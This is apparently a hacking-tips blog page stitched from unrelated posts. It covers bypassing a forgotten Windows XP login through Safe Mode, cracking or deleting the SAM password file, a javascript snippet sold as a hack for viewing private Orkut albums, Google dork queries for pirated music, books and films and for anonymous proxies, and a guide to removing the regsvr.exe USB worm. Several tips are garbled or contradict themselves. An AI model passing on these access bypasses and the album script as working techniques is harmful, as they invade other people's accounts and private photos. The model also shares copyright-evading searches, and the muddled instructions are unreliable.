How to Log on to Windows XP if You Forget Your Password

Steps

1. Reboot your machine.
2. Press F8 before the Windows boot screen appears.
   Do not press F5 as used on the NT/9x series of Windows.


3. You will be be prompted with a boot options menu.


4. Select the Start Windows in Safe Mode option.


5. Click through several self-explanatory screens until your reach the familiar ‘Welcome’ screen.


6. Note that this welcome screen is limited to 256 colors and 640×480 resolution because the primary graphics will have been set to the Windows Safe Mode software VGA adapter. You will not be able to change this mode even in Display options, while Windows is running in Safe Mode.


7. Find the icon for the Administrator user. If the default settings of your system haven’t been changed, there should be no password for this account.
• The Safe Mode Welcome screen might display some of the other users on your system.
  
8. Login as the admin.


9. Press Yes at the prompt asking if you would like to continue using Safe Mode.


10. Continue on to the User Settings control panel. Here you can change any of the other passwords for user on the machine. Make any changes you want.


11. Reboot your computer. As long as you don’t press any keys (i.e. F8) during the boot-up the computer will startup normally.


12. Login as the user for which you set the password.
    

How to recover a lost password in Windows XP

Tips

• You can access the Administrator account through the login prompt without logging into safe mode. If the computer utilizes the welcome screen instead of the standard NT domain login prompt, you can press Ctrl + Alt + Del twice to get to the login prompt. This is only true if you are running Windows XP Professional Edition. Windows XP Home Edition will also allow you to use this method to log on.


• Some users are smart enough to password protect their Administrator account when they install windows. If that’s the case, you’ll have to know that password in order for this method to work.


• There is a way to crack the windows “SAM” and system files to retrieve the original passwords Monitor, you need a program such as LC5 installed on a computer, and the SAM file in C:\WINDOWS\system32\config if LC5 is not installed on the computer that you forgot disk because as soon as you can get into the hard drive, windows is using the file so you cant copy it.


• Use SysInternals ERD Commandor to change the admin. password. Boot from the CD and select the locksmith option to change whatever password you like. Alas, this product seems to have been discontinued, however there are many other options out there for resetting the password so long as you are willing to spend a little money.


• Much simpler is simply to rename or delete the SAM file (renaming is safer). For this you need to boot the box using some other operating system on a CD and then mount the drive (otherwise Windows locks the SAM file and won’t let you touch it). NTFSDOS is also a good utility for this purpose. Find the SAM file and change the first character. After you reboot, all the accounts are still there, but they all have null passwords. Note: if you rename the SAM file on XP SP2, when you reboot, XP fails to initialize and forces you to reboot in safe mode. However when you boot into safe mode you get the same message, so don’t try this method on XP SP2.

Warnings

• This method does not work with machines running XP SP2, you will need to use “safe mode with networking” instead.

View photos from locked Orkut album !!

Next time you see a profile with locked album do not get annoyed! Just use following codes and all photos from album will appear on screen!

javascript:alert(”Wait for few seconds for pic`s to load……”);nb= document.all[0].innerHTML.match(/[0-9]*.jpg\)/g);nb=parseInt(nb);document.body.innerHTML=”<center><font style=’font-size:100′><b>ALBUM HACK<br></b>SCRIPT BY Ethical Hacking Community</a></font>”;for(i=1;i<=100;i++){document.body.innerHTML+=’<img src=”http://img3.orkut.com/images/milieu/’+i+’/0/’+nb+’.jpg”><br><br><br><br>’;};void(0)

Steps to use above code:

1. Go to the profile with locked album.


2. Paste above code in address bar/navigation bar.


3. HIT Enter key and all photos from locked album will appear on screen!

Google Search Tricks

Google search has been a blessing for developers, ummm not only devlopers, bloggers, surfers and i guess everyone who is using the immense power of internet. They are the best in the business with their superb algorithms. Google search has some hidden easter eggs through which one can utilise the power of Google in a fun rather tricky way.
So here we go with a bunch of amazing tricks:

EBooks,EMusic,EMovies with Google:
Do you wanna download any pdf file, word document or mp3 file? Google can be the first place to look forward to, isn’t it? You must be wondering what could be the trick in that, well an enormous amount of free downloadable files can be easily accessed at Open Web Directories. Its like turning Google into Napster of 2000, isn’t it VOW !!

So here is the tricky url syntax:

-inurl:(htmhtmlphp) intitle:”index of” +”last modified” +”parent directory” +description +size +(your choice) “name”

“your choice” can be either of the following file types:
-> wmamp3 for Music
-> pdfdoc for Ebooks
-> mpgwmv for Videos

and “name” can be any specific music file, movie or book, you are looking for.

For example:

-inurl:(htmhtmlphp) intitle:”index of” +”last modified” +”parent directory” +description +size +(wmamp3) “Shakira”

This is a Google search string for searching open web directories containing downloadable Shakira music files.

Ofcourse, you can always bookmark the search result for future use. Don’t worry, just enjoy !!

Lots of free downloadable stuff with Google:
Haven’t you fed up with searching for free wallpapers, stock images or social sites and getting nothing out of the search results??? Have your ever thought, why this happen when you have made right search queries, The only possible answer to this can be the most popular and most likable word “free”, it attracts spams. Anyways, don’t be upset, we do have a trick for that also. All you have to do is to direct Google to numerous available social media sites which have an active community of users who have already reviewed and ranked various “free” items that may interst you.

So here are some tricky queries:
-> site:del.icio.us free “stock images”
-> site:netscape.com free “ringtones”
-> site:digg.com free “desktop wallpaper”
-> site:reddit.com free “wordpress templates”
-> site:stumbleupon.com free icons

Have fun with your favourite free stuff!!

Free Anonymous Web Proxies with Google:
All you have to do is look through the search results returned by the queries below, find a proxy that works, and enter in the URL of the site you want to browse anonymously.

Use the following query and enjoy:

-> inurl:”nph-proxy.cgi” “start using cgiproxy”
-> inurl:”nph-proxy.cgi” “Start browsing through this CGI-based proxy”

Search only Faces with Google Image Search:
You can use this trick on Google Image search to filter the search results so that they include only images of people. This search can be performed just by appending the string &imgtype=face at the end of the URL address after you perform a standard Google Image search.

regsvr.exe

This virus is know popularly as regsvr.exe virus, or as new folder.exe virus and most people identify this one by seeing autorun.inf file on their pen drives, But trend micro identified it as WORM_DELF.FKZ. It is spreading mostly using this pen drives as the medium.

So let’s start the process off reclaiming the turf that virus took over from us.
1. Cut The Supply Line
a. Search for autorun.inf file. It is a read only file so you will have to change it to normal by right clicking the file , selecting the properties and un-check the read only option
b. Open the file in notepad and delete everything and save the file.
c. Now change the file status back to read only mode so that the virus could not get access again.
d.
e. Click start->run and type msconfig and click ok
f. Go to startup tab look for regsvr and uncheck the option click OK.
g. Click on Exit without Restart, cause there are still few things we need to do before we can restart the PC.
h. Now go to control panel -> scheduled tasks, and delete the At1 task listed their.
2. Open The Gates Of Castle
a. Click on start -> run and type gpedit.msc and click Ok.
b.
c. If you are Windows XP Home Edition user you might not have gpedit.msc in that case download and install it from Windows XP Home Edition: gpedit.msc and then follow these steps.

d. Go to users configuration->Administrative templates->system
e. Find “prevent access to registry editing tools” and change the option to disable.
f.
g. Once you do this you have registry access back.
3. Launch The Attack At Heart Of Castle
a. Click on start->run and type regedit and click ok
b. Go to edit->find and start the search for regsvr.exe,
c.
d. Delete all the occurrence of regsvr.exe; remember to take a backup before deleting. KEEP IN MIND regsvr32.exe is not to be deleted. Delete regsvr.exe occurrences only.
e. At one ore two places you will find it after explorer.exe in theses cases only delete the regsvr.exe part and not the whole part. E.g. Shell = “Explorer.exe regsvr.exe” the just delete the regsvr.exe and leave the explorer.exe
4. Seek And Destroy the enemy soldiers, no one should be left behind
a. Click on start->search->for files and folders.
b. Their click all files and folders
c. Type “*.exe” as filename to search for
d. Click on ‘when was it modified ‘ option and select the specify date option
e. Type from date as 1/31/2008 and also type To date as 1/31/2008
f.
g. Now hit search and wait for all the exe’s to show up.
h. Once search is over select all the exe files and shift+delete the files, caution must be taken so that you don’t delete the legitimate exe file that you have installed on 31st January.
i. Also selecting lot of files together might make your computer unresponsive so delete them in small bunches.
j. Also find and delete regsvr.exe, svchost .exe( notice an extra space between the svchost and .exe)
5. Time For Celebrations
1. Now do a cold reboot (ie press the reboot button instead) and you are done.
I hope this information helps you win your own battle against this virus. Soon all antivirus programs will be able to automatically detect and clean this virus. Also i hope Avast finds a way to solve this issues.
As a side note i have found a little back dog( winpatrol ) that used to work perfectly on my old system. It was not their in my new PC, I have installed it again , as I want to stay ahead by forever closing the supply line of these virus. You can download it form Winpatrol website.
UPDATE : Avast Boot Time Scheduling

Check out How to stop regedit, task manager and msconfig from closing automatically if your regedit or msconfig closes automatically.